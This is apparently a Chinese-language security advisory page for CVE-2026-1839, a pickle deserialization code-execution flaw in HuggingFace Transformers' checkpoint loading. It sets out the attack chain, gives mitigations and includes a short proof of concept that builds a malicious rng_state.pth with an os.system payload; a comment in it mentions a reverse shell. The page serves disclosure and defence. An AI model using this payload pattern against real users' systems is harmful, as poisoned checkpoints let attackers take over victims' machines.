IPBUF安全漏洞报告
English
CVE-2026-1839 CVSS 7.8 高危

CVE-2026-1839 HuggingFace Transformers代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-1839
漏洞类型
任意代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
HuggingFace Transformers

相关标签

RCE任意代码执行反序列化HuggingFaceTransformersPyTorchMachine LearningCVE-2026-1839

漏洞概述

HuggingFace Transformers库的Trainer类存在严重安全漏洞。由于`_load_rng_state()`方法在调用`torch.load()`时未限制加载内容,攻击者可利用恶意的检查点文件执行任意代码。该漏洞影响使用PyTorch低于2.6版本的环境,可能导致用户系统被完全控制。

技术细节

漏洞位于`src/transformers/trainer.py`第3059行的`_load_rng_state()`方法中。该方法使用了`torch.load()`来恢复训练的随机数生成器状态,但未设置`weights_only=True`参数。在PyTorch 2.6之前的版本中,`torch.load()`底层使用pickle进行反序列化,这允许执行任意Python代码。尽管代码中可能使用了`safe_globals`上下文管理器,但在低版本PyTorch中无法有效防御。攻击者只需构造一个包含恶意类(实现`__reduce__`方法)的`rng_state.pth`文件,诱导受害者加载该文件(例如通过共享模型权重),Transformers库在解析文件时便会触发反序列化,从而在本地执行攻击者预设的命令。

攻击链分析

STEP 1
1. 构造恶意载荷
攻击者创建一个包含恶意Python代码的`rng_state.pth`文件,利用pickle序列化机制封装攻击指令。
STEP 2
2. 传播恶意文件
攻击者将伪装成合法模型检查点的恶意文件发布到公共仓库或发送给目标用户。
STEP 3
3. 触发漏洞
受害者使用受影响的HuggingFace Transformers库(版本<v5.0.0rc3)加载该恶意文件进行训练恢复。
STEP 4
4. 代码执行
库内部调用`torch.load()`反序列化文件,触发`__reduce__`方法,在受害者本地环境执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import pickle import torch # Define a malicious class that executes code when unpickled class ExploitPayload: def __reduce__(self): # Command to execute: e.g., create a file or reverse shell return (os.system, ('echo "CVE-2026-1839 POC Executed" > /tmp/pwned.txt',)) # Generate the malicious checkpoint file (rng_state.pth) print("[+] Creating malicious rng_state.pth...") with open('rng_state.pth', 'wb') as f: pickle.dump(ExploitPayload(), f) # Simulate the vulnerable behavior in Trainer._load_rng_state # This is what happens internally in the vulnerable library print("[+] Simulating vulnerable torch.load()...") try: # Vulnerable call: missing weights_only=True data = torch.load('rng_state.pth') print("[!] Exploit executed.") except Exception as e: print(f"[-] Error: {e}")

影响范围

HuggingFace Transformers < v5.0.0rc3

防御指南

临时缓解措施
在无法立即升级库的情况下,建议将PyTorch升级至2.6或更高版本,或者严格限制加载的模型文件来源,仅加载可信的检查点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表